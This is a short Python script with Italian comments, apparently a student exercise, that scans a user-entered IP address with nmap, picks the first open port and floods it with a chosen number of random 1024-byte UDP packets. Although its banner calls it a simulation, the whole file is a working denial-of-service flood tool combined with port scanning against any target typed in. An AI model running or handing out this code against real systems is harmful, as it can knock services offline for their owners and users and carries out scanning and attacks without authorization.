```python
# -*- coding: utf-8 -*-
"""
@author: peppo
"""
import nmap
import socket
import random

def portscanner(target, portrange):
    # Inizializza un oggetto PortScanner di nmap
    nm = nmap.PortScanner()

    # Esegue la scansione delle porte sull'host specificato usando l'intervallo di porte specificato
    # Gli argomenti '-p' specificano l'intervallo di porte da scansionare
    # Ad esempio, se portrange è "1-1000", nmap scansionerà le porte da 1 a 1000
    nm.scan(hosts=target, arguments=f"-p {portrange}")

    # Lista per memorizzare le porte aperte trovate durante la scansione
    open_ports = []

    # Itera su tutti gli host trovati nella scansione
    for host in nm.all_hosts():
        # Itera su tutti i protocolli (es. TCP, UDP) trovati per l'host corrente
        for proto in nm[host].all_protocols():
            # Ottiene tutte le porte per il protocollo corrente
            lport = nm[host][proto].keys()
            # Itera su tutte le porte trovate
            for port in lport:
                # Verifica lo stato della porta: se è 'open', aggiungila alla lista delle porte aperte
                if nm[host][proto][port]['state'] == 'open':
                    open_ports.append(port)

    if open_ports: # Se sono state trovate porte aperte, restituisci la lista delle porte aperte
        return open_ports
    else: # Altrimenti, restituisci None
        return None

def UDPflooder():
    print("Questo programma simula una UDP flood su un bersaglio")
    target = input("Inserisci ip bersaglio: ")
    portrange = input("Inserisci l'intervallo di porte da monitorare: ")
    massive = int(input("Inserisci il numero di pacchetti da inviare al bersaglio: "))

    open_ports = portscanner(target, portrange)
    if open_ports:
        targetport = open_ports[0]  # Prendi la prima porta aperta trovata
        print("Prima porta trovata aperta: ", targetport)
        floodattack(target, targetport, massive)
    else:
        print("Nessuna porta aperta trovata nell'intervallo specificato.")

def floodattack(target, targetport, massive):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  # Cambiato a SOCK_DGRAM per UDP
    for x in range(massive):
        tosend = packgen()
        try:
            s.sendto(tosend, (target, targetport))  # Inviato il pacchetto UDP al bersaglio
            print("Inviato pacchetto n° ", x)
        except socket.error as e:
            print(f"Errore durante l'invio del pacchetto: {e}")
    s.close()

def packgen():
    return random._urandom(1024)

if __name__ == "__main__":
    UDPflooder()
```